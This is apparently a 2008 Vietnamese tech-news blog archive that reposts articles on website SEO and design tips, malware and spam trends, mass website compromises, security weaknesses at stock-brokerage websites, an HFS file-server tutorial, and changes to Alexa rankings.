Google ra mắt công cụ bảo mật web

2008-05-12T00:38:00.000+07:00

Tân trang website để tăng thứ hạng

2008-04-30T01:02:00.002+07:00

Hiện nay, người truy cập Internet thường sử dụng công cụ tìm kiếm để lấy thông tin và mua sắm những sản phẩm cần thiết. Do đó, doanh nghiệp cần có một số thủ thuật tăng lượt truy cập web để luôn xuất hiện trên đầu kết quả search.

"Nếu mọi người không tìm ra website của bạn, làm sao họ có thể mua sản phẩm?", Todd Friesen, Giám đốc hãng tiếp thị tìm kiếm Range Online Media (Mỹ), giải thích. "Chương trình tìm kiếm đang trở thành một phần quan trọng trong cuộc sống của chúng ta. Hầu như tất cả những ai vào mạng đều biết đến Yahoo, Google, MSN và họ đang sử dụng chúng như là công cụ hỗ trợ mua hàng".

Khi muốn tăng nhanh lượng truy cập, ngoài việc mở rộng chương trình khuyến mại, doanh nghiệp nên sử dụng phần mềm theo dõi lượng khách ghé thăm, đảm bảo công cụ tìm kiếm có thể liên kết tới tất cả các trang nhỏ của website, và dùng những từ khoá cụ thể khi đặt tên trang.

Website cần được xây dựng tối ưu hoá để "phơi bày" toàn bộ nội dung với công cụ tìm kiếm. Doanh nghiệp nên tránh tình trạng chỉ lấy tên công ty để đặt cho những trang nhỏ nhằm tăng cơ hội được người dùng biết đến, do họ thường sử dụng từ khoá theo tên sản phẩm để tìm những gì mình cần, thay vì gõ tên công ty phân phối. Từ khoá mô tả trang ngắn gọn nhưng phải chi tiết và tránh rắc rối với những sản phẩm liên quan. Ví dụ không nên chỉ đặt tên là "flat" (căn phòng) vì có thể nhầm lẫn với "flat-hat" (mũ dẹt) hay flat-fish (cá bơn)...

Tất cả các phần trong site cũng cần được liên kết chặt chẽ với nhau để công cụ tìm kiếm có thể dò ra trang cụ thể, chứ không phải chỉ có trang chủ vì "chúng quá chung chung và thường không hiện ra trong kết quả nếu người dùng tìm theo tên sản phẩm", Friesen nói.

Điểm đáng lưu ý khác là lập trình để giảm sức nặng cho web. "Google sẽ không 'để mắt' tới những trang quá 100 Kb", Friesen nói. "Website phải nhỏ, gọn gàng, code nhẹ để không bị 'chết' nếu như đòi hỏi quá nhiều thời gian để tải xuống".

Bên cạnh đó, không nên bỏ qua những phương pháp thông thường nhưng hiệu quả. Để thu hút khách hàng thiếu kiên nhẫn, doanh nghiệp nên đặt link mua bán ở ngay phía trên cùng của trang để người xem dễ nhận ra, thu nhỏ kích cỡ ảnh hoặc đặt chúng ở phía cuối trang, tránh tình trạng phải kéo thanh cuốn xuống khi muốn xem nội dung hoặc đợi ảnh tải quá lâu. Đặc biệt, người thiết kế nên tránh xa công nghệ flash, bởi chúng không được ưu tiên trong danh mục tìm kiếm.

Doanh nghiệp cũng nên sử dụng phần mềm phân tích ClickTracks Web để ghi nhận nơi nào trên trang được khách hàng ghé thăm nhiều nhất và từ khoá nào xuất hiện thường xuyên khi họ tìm sản phẩm.

Các công ty nên đưa 3 sản phẩm quan trọng nhất lên trang chủ để tập trung sự chú ý của khách hàng. Ngoài ra, trang web cần được xây dựng kèm công cụ nhập thông tin RSS, khuyến khích mọi người đăng ký sử dụng chương trình nhắc báo ngày sinh cũng như những sự kiện quan trọng khác để lôi kéo người dùng trở lại thường xuyên hơn.

(Theo VnExpress,CNet)

Cần làm gì để cải thiện chất lượng website của bạn?

2008-04-30T01:00:00.000+07:00

Để website của bạn được nhiều người biết đến cũng như thu hút được nhiều đọc giả tới viếng thăm hơn – đó là điều mà các nhà quản trị cũng như chủ đầu tư cho website mong muốn. Bên cạnh những phương thức marketing, quảng bá thông thường, với tư cách là người chịu trách nhiệm về phần kỹ thuật, bạn cũng sẽ là người giúp cho website phát triển hơn nếu bạn tuân thủ một số gợi ý sau:

1. Không nên quá lạm dụng hình ảnh đồ hoạ, các banner trên một trang web bởi việc này sẽ làm hạn chế tốc độ tải và hiển thị trang web. Không phải ai cũng đủ kiên nhẫn để chờ đợi, khách truy cập có thể sẽ đóng cửa sổ trình duyệt trang web của bạn để chuyển sang một trang khác. Nếu có quá nhiều ảnh trên một trang web, bạ hãy xoá hoặc chuyển bớt một vài cái sang một trang khác.

2. Bạn nên chèn thêm một số thành tố sau vào website: “Tự giới thiệu", một đoạn miêu tả vắn tắt về công ty và các sản phẩm cũng như mặt hàng kinh doanh. Bạn cũng có thể đưa thêm một số thông tin chi tiết cá nhân về bạn và các nhân viên. Phần “Liên hệ” (Cung cấp địa chỉ thư từ, điện thoại, fax, e-mail của công ty hay doanh nghiệp của bạn), một vài “Đường liên kết” tới những website hay những trang web có liên quan. Ở tất cả các trang nên có phần “Tìm kiếm” để khách truy cập có thể tìm những cái mà họ cần.

3. Hãy cung cấp một số dịch vụ miễn phí trên website của bạn. Bạn có thể cung cấp sách điện tử, một số phần mềm thông dụng miễn phí… Nếu có thể cung cấp một cách đều đặn theo một chu kỳ nào đó thì bạn có thể giữ khách quay trở lại với website.

4. Bạn nên định rõ các màu cụ thể cho nền trang, chữ, đường liên kết động, những đường liên kết đã được khách nhắp chuột và những đường liên kết Url ở phần BODY tag. Phần lớn các website được thiết kế với nền màu trắng, bạn có thể thay đổi thói quen cố hữu này bằng một màu nền khác bởi theo tôi đọc nội dung trên nền màu trắng sẽ làm cho mắt bạn bị căng và khó chịu nhanh hơn so với các gam màu dịu khác.

5. Ở phần thẻ Meta từ khoá, hãy cố gắng dùng từ ở cả hai dạng số ít và số nhiều: ví dụ: internet cafes, internet cafe. Không nên lặp lại một từ khoá 3 lần và Không nên để một từ khoá giống nhau nối tiếp nhau.

6. Bên cạnh các thẻ Meta từ khoá, bạn hãy đặt tên cho thẻ tiêu đề, tiêu đề của trang, tên ảnh, đường link, đường liên kết một cách chuyên nghiệp và có nhiều từ thông dụng. Như vậy, website của bạn sẽ được xếp ở thứ hạng cao trong bảng xếp hạng của các trang cung cấp dịch vụ tìm kiếm. Tuy vậy, công nghệ đánh giá cho điểm xếp hạng ngày nay căn cứ vào cả nội dung các đoạn văn giới thiệu – đây là biện pháp nhằm tránh sự gian dối ở khâu sử dụng từ khoá của các website.

7. Cố gắng giữ kích thước của trang web dưới dung lượng 32 kilobytes (kb). Luôn kiểm tra lỗi ngữ pháp, chính tả của các trang web trước khi upload lên server. Khi upload xong, nhờ bạn bè, đồng nghiệp kiểm lại xem họ còn phát hiện ra những lỗi khác còn tồn tại.

8. Kiểm tra các đường link bị lỗi. Bạn có thể kiểm tra bằng tay hoặc sử dụng phần mềm. Những đường link tới các website bị đóng hoặc bán thường khiến cho đường link bị lỗi.

(Theo HanoiSoftware)

Vấn nạn tấn công Web hoành hành

2008-04-26T23:35:00.000+07:00

Bọn tội phạm mạng đã thay đổi chiến thuật trong 6 tháng cuối năm 2007: từ bỏ công cụ email truyền thống để dồn sức cho các cuộc tấn công trên nền Web.

Theo bản báo cáo mới nhất của Microsoft, số lượng các chương trình tải Trojan mà hãng gỡ bỏ khỏi máy tính Windows trong khoảng thời gian trên đã tăng vọt tới... 300%.

Những chương trình này nguỵ trang dưới dạng phần mềm hoàn toàn hợp pháp.

Nhưng một khi đã cài đặt xong xuôi, chúng sẽ lập tức download các phần mềm phá hoại như spyware hoặc adware về máy tính nạn nhân.

"Hầu hết các chương trình tải Trojan đều lẻn vào máy theo đường Web", ông Jimmy Kuo, Kiến trúc sư trưởng của Trung tâm Phòng chống Malware Microsoft cho biết.

Việc bọn tội phạm mạng buộc phải chuyển sang tấn công theo đường web xuất phát từ thực tế các admin hệ thống đã "thiện chiến" hơn.

"Họ đã làm tốt công tác chặn file exe ký sinh trong email nên buộc lòng, hacker phải tìm đường khác", ông Kuo chia sẻ.

Bởi vậy, thay vì gửi malware trực tiếp qua email, giờ đây hacker sẽ phát tán thư rác để lừa người dùng ghé thăm các website hiểm độc.

File exe sẽ trú ẩn bên trong các website này, và một khi người dùng click vào nút "download", họ sẽ không bao giờ biết được "món quà" mình nhận là gì.

Không thể ngăn chặn?

Cuộc nghiên cứu của Microsoft được coi là toàn diện và quy mô nhất từ trước tới nay về xu hướng tấn công Web, khi gã khổng lồ phần mềm thu thập dữ liệu từ xấp xỉ 450 triệu máy tính cài đặt hệ điều hành Windows trên khắp thế giới.

"Tính trung bình, cứ 123 máy tính Windows được khảo sát lại có 1 máy tính phải gỡ bỏ malware khẩn cấp. Tại Mỹ, tỉ lệ này là 1/112. Nhật Bản là quốc gia ít bị nhiễm malware nhất với tỷ lệ 1/685".

Một số kết luận đáng chú ý khác từ cuộc nghiên cứu mới của Microsoft:

- Tổng số malware mà Microsoft gỡ bỏ trong nửa cuối năm 2007 đã tăng 55%.

- Adware vẫn là phần mềm phá hoại phổ biến nhất. Số lượng adware lưu hành trong 6 tháng cuối năm 2007 cũng đã tăng 66% so với cùng kỳ năm trước lên 34,3 triệu chương trình.

Đứng đầu bảng là Win32/Hotbar, một adware chuyên cài đặt thanh công cụ "dội bom" quảng cáo pop-up.

- Có từ 75-80% số trang web phishing được viết bằng tiếng Anh. Hoạt động phishing cũng đã dịch chuyển từ email sang các mạng xã hội ảo.

- Phần mềm bảo mật giả mạo cũng đang trên đà tăng. Phổ biến nhất là Win32/Winfixer với tần số xuất hiện cao gấp 5 lần so với phần mềm "á quân".

- Số lượng lỗ hổng bảo mật được vá trong năm 2007 ít hơn so với năm 2006. Tổng cộng, hãng đã phát hành 69 bản update bảo mật, bịt 100 lỗ hổng trong cả năm ngoái, giảm 30% so với năm 2006.

(Theo TechWeb)

Tạo Web Server chỉ với một cú click chuột

2008-04-26T23:34:00.000+07:00

HFS là một ứng dụng cho phép bạn tạo được một Web Server chỉ với một cú click chuột. Vì là ứng dụng không cần cài đặt nên khi vừa kích hoạt cũng là lúc máy tính của bạn đã thành Web Server.

Bạn tải HFS tại địa chỉ http://www.thongtincongnghe.com/software/171. Dung lượng HFS nhỏ gọn chỉ 550KB. Tương thích mọi Windows.

Sau khi đã tải hoàn tất, bạn chạy tập tin tải về. Khung thiết lập chung hiển thị. Bạn chọn Yes để tích hợp HFS vào menu chuột phải để sử dụng nhanh chóng chương trình khi cần chia sẻ File.

Khi đó, chương trình sẽ hiển thị ở khung chính như hình bên dưới, bạn nên chọn chế độ thiết lập nâng cao thông qua tùy chọn You Are In Expert Mode. Lần đầu tiên chạy chương trình, bạn chọn menu Self Test để kiểm tra sự hoạt động tốt của ứng dụng trên môi trường Windows máy tính của bạn. Nếu có một hộp thoại thông báo thành công, bạn sẽ được sử dụng HFS trong việc chia sẻ dữ liệu trên máy tính của mình.

Sau đây là các thiết lập chung khi dùng HFS.

Limits: Cho phép bạn tùy chọn cách tải từ máy client. Bạn có quyền thiết lập các lựa chọn nâng cao sau:

* Bans: Cho phép bạn cấm sự truy xuất từ các IP tùy chọn. Sau khi chọn vào mục này, bạn nhập trực tiếp địa chỉ IP và khung tương ứng. Trong trường hợp có nhiều IP thì bạn chọn Add Row và nhập tuần tự từng IP. Nhấn OK để hoàn tất.

* Speed Limit: Cho bạn tùy chọn băng thông tải từ các máy Client khác khi tải dữ liệu chia sẻ từ máy bạn. Bạn nhập số tương ứng tương đương với số KB/s. Bỏ trống đồng nghĩa với việc tải không giới hạn.

* Max Simultaneous downloads: tùy chọn này cho bạn thiết lập số lần tải dang dở tối đa từ một IP. Thiết lập này giúp bạn hạn chế được băng thông đi ra quá nhiều từ máy tính của mình. Bỏ trống đồng nghĩa với việc không giới hạn số lần tải đồng thời từ một IP.

* Prevent Leeching: Cho phép bạn thiết lập cho hay không cho các chương trình hỗ trợ tải File.

IP Address: Cho phép bạn tùy chọn kết nối với một IP bất kỳ.

Trong trường hợp bạn chia sẻ qua LAN, bạn không cần thiết lập. Tuy nhiên, khi bạn chia sẻ qua Internet thì bạn phải tự động thiết lập thông qua DNS với tác vụ Find External Address. Khi đó, chương trình sẽ tự động chọn IP tương ứng cho người dùng có thể lấy dữ liệu từ máy bạn thông qua Internet.

* Accept Connections On: Cho bạn chọn địa chỉ IP kết nối với máy tính chia sẻ. Nếu ngoài danh mục này thì kết nối sẽ bị ngắt. Bạn nên chọn Any Address.

* Dynamic DNS Updater: Cho phép bạn tự động cập nhật DNS thông qua các dịch vụ DNS miễn phí như DynDNS, CJB, No-IP. Do IP tại Việt Nam là các IP động nên các dịch vụ DNS sẽ tự động cập nhật nhanh địa chỉ IP khi share và hoàn toàn đơn giản khi thiết lập. Nếu bạn sử dụng dịch vụ DNS khác, bạn chọn Custom và làm theo hướng dẫn để cập nhật địa chỉ.

* Other Options: Đây là các thiết lập khác.

* User Accounts: Cho phép bạn thiết lập người dùng khi chia sẻ dạng chỉ định. Sau khi chọn vào mục này. Bạn sẽ gặp hộp thoại Accounts. Bạn chọn Add để thêm người dùng. Mỗi người dùng sẽ được định danh bằng một mật khẩu do bạn chỉ định. Nhấn OK khi bạn thiết lập xong.

Sử dụng HSF để chia sẻ tập tin như thế nào?

Tại khung chính chương trình, bên mục trái. Bạn click phải để tạo các dạng chia sẻ kèm theo thiết lập chính khi chia sẻ. Để chia sẻ một tập tin hay thư mục, bạn chọn Add Files/ Add Folder From Disk. Với tùy chọn chia sẻ thư mục, bạn sẽ có hai lựa chọn như sau: Với lựa chọn Real Folder, bạn được quyền chia sẻ các thư mục với dung lượng tập tin lớn thông qua cơ chế Cache. Khi đó yêu cầu máy tính phải mạnh và đường truyền tốt. Với lựa chọn Virtual Folder, mỗi khi chia sẻ sẽ được phân chia trực tiếp. Tùy theo cách chia sẻ của mình mà bạn có cách lựa chọn thích hợp. Sau đó, bạn có thể tùy chọn người cần được chia sẻ thông qua mục chọn Set User/Pass. Chọn icon hiển thị thông qua mục Icon. Các mục khác bạn nên để mặc định. Khi đó, bạn có thể kiểm tra việc chia sẻ thông qua việc kiểm tra địa chỉ với tùy chọn Open in Browser.

Có thể nói, HFS thật sự là một ứng dụng hữu ích dành cho những tay tập tành chia sẻ dữ liệu thông qua đường truyền ADSL. Bạn vừa có thể chia sẻ dữ liệu mà vẫn đảm bảo tính bảo mật hệ thống kèm theo các tùy chọn nâng cao khi thiết lập chia sẻ như qua http (port 80, ftp (port 21)…

(Theo ThanhNien)

Lại có hàng trăm nghìn website bị tấn công

2008-04-26T23:33:00.001+07:00

Hãng bảo mật Websense cho biết lại phát hiện thêm một vụ tấn công website có quy mô rất lớn. Ước tính có đến hàng trăm nghìn website trở thành nạn nhân của tin tặc. Trong đó có cả những website mang tên miền của Liên Hợp Quốc (LHQ) và một số cơ quan chính phủ Anh.

Ông Dan Hubbard – Phó chủ tịch Websense – cho biết mục đích của tin tặc là biến những website trên trở thành công cụ giúp chúng phát tán mã độc. Các bằng chứng có được tới nay đều cho thấy vụ tấn công lần này có liên quan đến vụ tấn công mà hãng đã phát hiện tháng trước.

Cụ thể, tin tặc vẫn sử dụng cùng một kỹ thuật tấn công website tương tự như vụ tấn công lần trước. Tin tặc tấn công chiếm quyền điều khiển website và chèn lên đây các mã Javacript có chức năng chuyển hướng truy cập người dùng đến website chứa chấp mã độc của chúng.

Thứ hai, máy chủ chứa chấp các loại mã độc nói trên mặc dù đã được thay đổi nhưng vẫn sử dụng cùng một địa chỉ IP như trong vụ tấn công được phát hiện trong tháng 3 vừa qua.

Số lượng chính xác website bị tấn công trong đợt này hiện vẫn chưa thể thống kê được. Websense ước tính con số đó tối thiểu phải tương đương với con số thống kê được trong đợt tấn công lần trước. Theo đó, suốt từ tháng 1 cho đến khi bị phát hiện trong tháng 3, đợt tấn công lần trước đã lây nhiễm mã độc lên tổng cộng trên 100.000 website khác nhau.

“Theo tôi, lần này số lượng có thể tăng cao hơn bởi tin tặc không chỉ chú ý đến tên miền nổi tiếng mà cả những tên miền mới,” Phó chủ tịch Hubbard nhận định.

Hầu hết các loại mã độc được tin tặc phát tán đều nhắm mục tiêu tấn công các lỗi bảo mật phần mềm và hệ điều hành trên PC của người dùng. Tuy nhiên, các lỗi này đều đã được các hãng phát hiện và cho khắc phục. Nếu người dùng đã cài đặt đầy đủ các bản sửa lỗi thì sẽ hoàn toàn “miễn dịch” với các loại mã độc này.

(Theo PC World)

Nguy hiểm lỗ hổng an ninh mạng của DN chứng khoán

2008-04-26T23:31:00.001+07:00

Chứng khoán ngày càng hấp dẫn đối với tội phạm công nghệ cao. Tuy nhiên, các công ty chứng khoán hết sức thờ ơ trong việc bảo mật. Theo thống kê của Trung tâm An ninh mạng (BKIS) hơn 40% website các công ty chứng khoán có lỗ hổng.

Theo kết quả đợt khảo sát mới nhất của Trung tâm An ninh mạng, Đại học Bách khoa Hà Nội (Bkis), Chỉ riêng trong năm 2007, đã có 342 website của Việt Nam bị hack bởi các hacker trong nước và nước ngoài, có những website đã bị hack tới hai lần. Hiện nay, cả nước có gần 150 trang web về chứng khoán đang hoạt động, tuy nhiên trong đó có tới 40% web có lỗi và hacker có thể đăng nhập hệ thống quản trị trang web dễ dàng.

Cách đây khoảng một tháng, trang web của một Công ty phân đạm và hóa chất dầu khí đã bị hacker tấn công và xóa sạch các dữ liệu về tình hình sản xuất, kinh doanh, diễn biến giá cả chứng khoán... Đồng thời để lại dòng chữ "Bị phá sản". "Chúng tôi phải mất vài ngày mới có thể khắc phục sự cố. Hacker tấn công trang web của chúng tôi, xóa dữ liệu, gây khó khăn trong việc truy cập thông tin cho khách hàng và ảnh hưởng đến uy tín của công ty", nhân viên phụ trách bảo mật của công ty này cho biết.

Trong một cuộc trò chuyện, một hacker mũ trắng đã cho chúng tôi tham khảo hàng loạt trang web bị lỗ hổng, trong đó có một số trang web ngân hàng, chứng khoán. Dĩ nhiên là sau khi chỉ các lỗi, hacker này sẽ nhanh chóng cảnh báo cho các đơn vị kia để sữa chữa, nhưng với các lỗi chưa phát hiện và sự bảo mật quá kém như vậy khiến chúng tôi hết sức e ngại.

Theo Ông Võ Đỗ Thắng, Giám đốc Trung tâm Đào tạo Quản trị An ninh mạng Athena, các website chứng khoán và các trang web hiện nay thường bị mắc các lỗi như cho phép upload file bằng các công cụ quản lý website, các lỗi SQL injection... Những lỗi này có thể giúp hacker dễ dàng upload lên website những đọan mã độc nhằm mục đích chiếm quyền điều khiển website và qua đó làm thay đổi nội dung thông tin.

Còn hãng bảo mật McAfee, BitDefender cũng cảnh báo về sự liên kết hacker và một số đối tượng chơi chứng khoán trục lợi bằng cách thay đổi thông tin kết quả giao dịch, đưa thông tin thất thiệt về thị trường.

Doanh nghiệp có thể khống chế hacker

Có khá nhiều mục đích để hacker chi phối chứng khoán, chủ đích đầu tiên là sự cạnh tranh không lành mạnh giữa các công ty chứng khoán, mà Hacker là một nhân tố bên trong. Đáng lo ngại hơn là hacker bắt tay với người chơi chứng khoán để chi phối. Thử nghĩ, nếu có một cá nhân hay tổ chức nào đó kết hợp với hacker trục lợi từ việc nắm bắt thông tin mua bán của các nhà đầu tư, thay đổi kết quả giao dịch, phát lệnh mua bán giả... Hay cao tay hơn thì cài cửa sau (backdoor) vào các hệ thống để chờ lúc các công ty chứng khoán được nhập lệnh trực tiếp lên sàn thì không thể lường trước hậu quả.

Ông Võ Đỗ Thắng, Giám đốc Trung tâm Đào tạo Quản trị An ninh mạng Athena cho biết, các lỗi trên trang web họ mắc phải hoàn toàn có thể khắc phục được. Đối với các ngành nghề như ngân hàng, chứng khoán hệ thống website là công cụ kinh doanh chủ lực, quyết định tính cạnh tranh.

Để ngăn chặn sự phá hoại của hacker, trước tiên các nhà quản lý cần phải trang bị tốt các thiết bị bảo mật, còn phải có chính sách đào tạo an toàn thông tin thường xuyên cho nhân viên nhằm nâng cao trình độ, đề cao cảnh giác để phát hiện sớm các cuộc tấn công có thể xảy ra. Một giải pháp nữa là các công ty chứng khoán, ngân hàng nên ký kết với các đơn vị thứ ba chuyên về an ninh mạng để các đơn vị này sẽ chịu trách nhiệm kiểm tra độ an toàn thường xuyên cho hệ thống website.

Một cán bộ công an phòng chống tội phạm công nghệ cao có lời khuyên, để tránh thiệt hại, các doanh nghiệp hạn chế giấu thông tin và nên báo ngay các cơ quan chức năng. Hiện nay các doanh nghiệp vẫn còn tâm lý lo ngại là khi bị tấn công thì giấu giếm vì sợ bị trả thù, hoặc không muốn làm lớn chuyện nên trở thành điểm yếu để hacker lợi dụng. Bên cạnh đó là các doanh nghiệp nên có cách tự bảo vệ mình trước tiên.

Theo các chuyên gia công nghệ thông tin, thiệt hại trực tiếp và gián tiếp của xã hội do tin tặc và tội phạm CNTT gây ra hàng năm lên tới hàng trăm tỷ đồng. Đặc biệt, tỷ lệ những cuộc tấn công nhằm mục đích kiếm tiền trong năm 2007 cao hơn hẳn so với một vài năm trước. Nhiều hệ thống máy tính tại Việt Nam bị hacker lợi dụng làm bàn đạp tấn công, phạm tội trên Internet. Đây là vấn đề nhức nhối, tiềm ẩn nhiều nguy cơ cho việc đảm bảo phát triển ứng dụng CNTT nhanh và bền vững ở nước ta.

Hiện Bộ TT-TT đang gấp rút hoàn thiện các quy định hành lang pháp lý và cơ quan đảm bảo an toàn an ninh mạng. Năm 2008 sẽ ban hành Nghị định chống thư rác, một số tiêu chuẩn và quy phạm kỹ thuật về an toàn thông tin. Bộ TT-TT đang nghiên cứu xây dựng chiến lược an toàn thông tin quốc gia, xây dựng và triển khai đề án thành lập Cục An toàn Thông tin, đề án về chống tin tặc với nội dung trang bị và phối hợp hoạt động Trung tâm Kỹ thuật An toàn mạng quốc gia (Bộ TT-TT), Trung tâm chống tội phạm công nghệ cao (Bộ Công an) và Trung tâm CERT (Bộ Quốc phòng). Các hoạt động phối hợp trong lĩnh vực chống tội phạm CNTT sẽ được chú trọng đẩy mạnh hơn so với các năm trước đây.

(Theo VTC News)

Yahoo cung cấp miễn phí công cụ đánh giá website

2008-04-20T22:58:00.000+07:00

Yahoo sẽ cung cấp miễn phí dịch vụ phân tích web cấp độ doanh nghiệp mà hãng mới có được từ việc mua lại nhà cung cấp IndexTools.

Ông Dennis Mortensen, Giám đốc hoạt động (COO) của IndexTools, cho biết trước đây dịch vụ của hãng có mức phí sử dụng từ 49,95-249 USD. Nhưng nay đã miễn phí cho bất kỳ khách hàng nào đồng ý ký vào bản thỏa thuận sử dụng dịch vụ của Yahoo.

Hiện nay việc miễn phí mới chỉ giới hạn ở những khách hàng trước đây của IndexTools. Song chắc chắn trong tương lai gần Yahoo sẽ miễn phí sử dụng dịch vụ phân tích website cho mọi người dùng quan tâm. Dự kiến đó sẽ là thời điểm mà IndexTools ra mắt phiên bản kế tiếp.

Trước Yahoo, Google và Microsoft cũng đã có những bước đi tương tự. Năm 2005, không lâu sau khi mua lại từ Urchin và Adaptive Path, Google cũng tung ngay ra phiên bản miễn phí gói công cụ đánh giá website Analytics. Sang năm 2006, Microsoft cũng mua lại Deep Matrix để “giúp người dùng” được sử dụng miễn phí công cụ đánh giá hiệu quả quảng cáo từ nhà cung cấp dịch vụ này.

(Theo ReadWriteWeb)

3 giây lại phát hiện một website thư rác mới

2008-04-20T22:57:00.000+07:00

Trong quý I/2008, hãng bảo mật Sophos đã phát hiện tổng cộng 23.300 website có dính líu tới thư rác. Tính trung bình cứ sau mỗi 3 giây lại có một website thư rác bị phát hiện.

Ngoài ra con số thống kê từ Sophos cũng cho thấy thư rác chiếm tới 92,3% tổng lượng email được gửi đi trên toàn cầu trong ba tháng đầu năm nay. Đáng chú ý trong báo cáo lần này của Sophos có sự xuất hiện lần đầu tiên của Thổ Nhĩ Kỳ trong vị trí 3 quốc gia gửi thư rác nhiều nhất thế giới.

Lượng thư rác được gửi đi bởi các máy tính bị tin tặc chiếm quyền điều khiển ở Thổ Nhĩ Kỳ trong quý I năm nay chiếm tới 5,9% tổng lượng thư rác toàn cầu. Trong khi đó, con số của cùng kỳ năm ngoái mới chỉ là 3,8%. Mỹ và Nga tiếp tục ở vị trí dẫn đầu.

Lượng thư rác có nguồn gốc từ Nga năm nay đã tăng hơn hai lần so với cùng kỳ năm 2007. Khi đó, Nga mới đứng ở vị trí thứ 10, chiếm 3% lượng thư rác được gửi đi trên toàn cầu. Sang đến năm nay tỉ lệ đó đã lên tới 7,4%.

Thực chất trong thời gian qua Nga và Mỹ đã liên tục có những nỗ lực mạnh tay nhằm hạn chế thư rác. Bước đầu những nỗ lực này đã mang lại một số thành công đáng kể.

Carole Theriault – Chuyên gia tư vấn bảo mật cao cấp của Sophos – khẳng định thư rác là một vấn đề toàn cầu nên phải được giải quyết bằng những nỗ lực toàn cầu.

(Theo VnUNet)

Alexa “tung” hệ thống xếp hạng website mới

2008-04-20T22:56:00.000+07:00

Sau nhiều kêu ca phàn nàn của khách hàng về dịch vụ của Alexa.com, ngày 17/04, Alexa đã chính thức áp dụng hệ thống ranking mới. Sự thay đổi này đã làm xáo trộn đồng loạt thứ hạng hầu hết các website.

Các website của Việt Nam có bị ảnh hưởng?

Thứ hạng các website ở Việt Nam có vẻ bình ổn hơn trong mối tương quan với nhau. VnExpress, Dân Trí vẫn ổn định ở vị trí thứ 3, thứ 4, trong khi Zing và 24h thay nhau đứng thứ 5 và thứ 6. Thay đổi đáng kể chỉ có Vui.vn vượt từ vị trí thứ 26 lên 14 và Baamboo tụt từ 14 xuống 20.

Mặc dù Alexa đã khẳng định cách tính mới mang lại tính chính xác cao hơn nhưng thứ hạng các website từ Việt Nam tụt hạng thê thảm. Cách tính phần trăm số người đọc từ mỗi quốc gia cũng khiến không ít người phải đặt câu hỏi.

Liệu có chính xác không khi 26% người đọc Dân Trí là từ Hàn Quốc, 16,7% từ Mỹ và chỉ có 23,5% từ Việt Nam? Cứ trong 100 người đọc VnExpress thì có đến 36 người đến từ Mỹ trong khi số người đọc từ Việt Nam chiếm chưa đến một nửa? Thậm chí có những trang mới hôm trước số người đọc từ Việt Nam chiếm 81%, từ Mỹ chiếm 8% vậy mà hôm nay số người đọc từ Việt Nam chỉ còn 30% và số người đọc từ Mỹ lên đến 37%.

Dù nhiều bài báo đã lên án Alexa là thước đo méo mó, nhưng vẫn “phải dùng” khi những dịch vụ khác như Google Analytics, StatCounter, ClickTracks Appetizer, eXTReMe Tracking, SiteMeter, Add Free Stats, Compete,... còn chưa phổ biến ở Việt Nam. Chính vì thế, sự thay đổi trong cách xếp hạng của Alexa đã gây không ít xôn xao không chỉ trong giới webmaster ở Việt Nam với khá nhiều ý kiến trái chiều.

Tuy còn nhiều nghi ngờ nhưng không phải không có những cái nhìn lạc quan. Anh Trần Trí Dũng, thành viên ban quản trị website www.saga.vn, hệ thống phân tích và truyền thông kinh doanh tại Việt Nam, anh cho biết: “Đổi mới của Alexa cho thấy họ vẫn đang quan tâm đến khách hàng, hứa hẹn những cải tiến lớn hơn trong tương lai. Phương pháp mới của Alexa đem lại 2 hiệu ứng. Thứ nhất, các thủ thuật tăng ranking sẽ mất tác dụng. Dù không công bố chi tiết các điều chỉnh, nhưng khó mà bác bỏ rằng Alexa sẽ áp dụng một cách đo công bằng và khách quan hơn. Thêm vào đó, việc tụt hạng của các website Việt Nam cũng là hồi chuông cảnh tỉnh, buộc các website của mình phải quan tâm hơn tới chất lượng, cả về nội dung và hình thức, tạo thêm nhiều tiện ích, giá trị gia tăng.”

Tuy nhiên, khi tất cả mọi thứ còn khá mới mẻ và câu trả lời của Alexa vẫn là "chờ đợi" thì rất có thể đây sẽ là cơ hội để người sử dụng Internet ở Việt Nam thay đổi thói quen của mình. Hãy tỉnh táo và lựa chọn cho mình một dịch vụ thích hợp nhất, chính xác và không kém phần tiện lợi.

Hệ thống ranking mới sẽ chân thực hơn

Thay đổi đầu tiên có thể nhận thấy trên trang chủ của Alexa là một giao diện mới, thoáng đãng hơn. Top 10 các website được truy cập nhiều nhất trên thế giới cũng có sự thay đổi đáng kể ở hầu hết các vị trí. Những website có số lượng người truy cập nhiều nhất gồm có Google, Wikipedia và MSN của Microsoft đều tăng được 2 bậc, cùng với sự xuất hiện của 2 gương mặt mới trong top 10 là Blogger.com và Yahoo Nhật Bản. Bên cạnh đó là các website tụt hàng gồm có Hi5, Orkut, Facebook.

Alexa cho biết, hãng này đang nỗ lực tính toán lại các thông số và sẽ bổ sung trong khoảng thời gian ngắn nhất để hoàn thiện dữ liệu. Alexa cam kết hệ thống ranking mới của mình sử dụng dữ liệu từ nhiều nguồn hơn, đảm bảo đưa ra thông số chính xác hơn. Website này cũng hứa hẹn sẽ đưa ra thêm nhiều tính năng mới trong những tuần tiếp theo, nhưng những tính năng đó mới như thế nào vẫn còn là một điều bí mật.

Về cách xếp hạng website mới, Alexa cho biết: “Về thứ hạng trước đây của các website trên thế giới không sai, nhưng nó cần phải thay đổi. Vì sở thích và thói quen lướt web của những người sử dụng công cụ Alexa có thể khác nhau rất nhiều. Và chúng tôi phải thể hiện những cái khác nhau có thể lên website của mình. Hệ thống xếp hạng mới có thể phản ánh một cách chân thực hơn sở thích và thói quen duyệt web của cộng đồng sử dung web.”

Trong tương lai, Alexa vẫn sẽ tiếp tục điều chỉnh thuật toán của mình cho phù hợp nhưng sẽ không có thay đổi gì quá lớn. Còn hiện nay, hệ thống mới này được phát triển để thỏa mãn một lượng rất lớn những yêu cầu mà Alexa nhận được từ những người sử dụng.

(Theo VTC News)

Alexa “thay máu” công cụ xếp hạng website

2008-04-20T22:54:00.000+07:00

Hệ thống xếp hạng website nổi tiếng Alexa vừa làm một cuộc “cải tổ” sau 10 năm hoạt động với không ít lời chỉ trích. Theo đó, website sẽ thu thập dữ liệu từ nhiều nguồn khác nhau thay vì chỉ dựa vào thói quen lướt web của những người cài đặt Alexa Toolbar.

Thói quen lướt web của những người dùng cài đặt thanh công cụ Alexa Toolbar khác rất nhiều so với những cư dân mạng khác không dùng Toolbar. Tuy nhiên, hệ thống xếp hạng của Alexa không tính đến sự khác biệt này”, đại diện của trang web xếp hạng website giải thích.

Alexa cho biết hãng sẽ đếm lại lượng dữ liệu lưu thông trước đây và sẽ tiếp tục cập nhật bảng xếp hạng trong vài tuần tới.

